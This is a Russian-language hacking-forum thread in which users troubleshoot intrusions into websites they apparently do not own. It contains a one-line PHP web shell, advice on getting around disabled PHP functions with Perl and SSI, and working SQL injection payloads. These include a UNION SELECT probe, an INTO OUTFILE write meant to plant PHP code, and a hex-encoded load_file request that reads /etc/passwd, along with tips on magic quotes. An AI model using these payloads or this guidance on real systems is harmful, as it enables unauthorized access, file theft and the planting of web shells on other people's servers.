Вопросы по уязвимостям

[Shadowfolder]

На шелле перестали выполняться командные строки, даже если залить файл <? system($_GET['c']); ?> не выполняет.
посмотрел, я короче и Disabled PHP Functions: system, exec, shell_exec, passthru, popen, proc_open, parse_ini_file, show_shource, symlink, escapeshellarg,escapeshellcmd,proc_close,curl_exec
шелл мертв можно считать? есть способ выполнить что-то через коммандную строку или подключиться? бэкконект тоже перестал делать

[nomad]

Shadowfolder,
Perl, SSI помогут

Сообщение от faza02

похоже на waf. havij pro версии поддерживает обход, попробуйте разные комбинации обхода

Не похоже на waf, даже обычный хавидж справляется, т.е. 1,15 free, который "ломится" напрямую. А вот ручками какой-то косяк.

PS Версия 1,17, которая имеет функцию записи в файл при наличии привилегий, не пишет, хотя читает.

[faza02]

Сообщение от nomad

Shadowfolder,
Perl, SSI помогут





Не похоже на waf, даже обычный хавидж справляется, т.е. 1,15 free, который "ломится" напрямую. А вот ручками какой-то косяк.

PS Версия 1,17, которая имеет функцию записи в файл при наличии привилегий, не пишет, хотя читает.

тогда отснифайте запрос, который он отправляет

[nomad]

Сообщение от faza02

тогда отснифайте запрос, который он отправляет

id=999999.9 union all select concat(0x7e,0x27,version(),0x27,0x7e),null,null,nu ll,null--

Теперь в браузере есть вывод, спасибо за идею.

Каким образом в таком запросе реализовать запись в файл?

[faza02]

Сообщение от nomad

id=999999.9 union all select concat(0x7e,0x27,version(),0x27,0x7e),null,null,nu ll,null--

Теперь в браузере есть вывод, спасибо за идею.

Каким образом в таком запросе реализовать запись в файл?

это точно mysql? вообще, все как обычно. select '<?phpinfo();?>',null,null,null,null into outfile '/tmp/bla.txt'--
уверены, что есть все условия для заливки?

[nomad]

Сообщение от faza02

это точно mysql? вообще, все как обычно. select '<?phpinfo();?>',null,null,null,null into outfile '/tmp/bla.txt'--
уверены, что есть все условия для заливки?

mysql 5.5.4-m3
file_priv=Y
Любая попытка сформировать запрос для записи выдает 404 ошибку

[BigBear]

MQ off ?

[nomad]

Сообщение от BigBear

MQ off ?

Точно не знаю, но, скорее все, кавычки включены.
999999.9%20union%20all%20select%20(load_file(0x2f6 574632f706173737764)),null,null,null,null--
выводит /etc/passwd
а 999999.9%20union%20all%20select%20(load_file(%27/etc/passwd%27)),null,null,null,null--
уже не выводит, выдает 404 ошибку.

[faza02]

это и ответ на ваш вопрос. при некорректном запросе - 404, при корректном - /etc/passwd

[BigBear]

заливка через into outfile / into dumpfile работает либо при выключенных MQ, либо при двойном запросе как в методе Scipio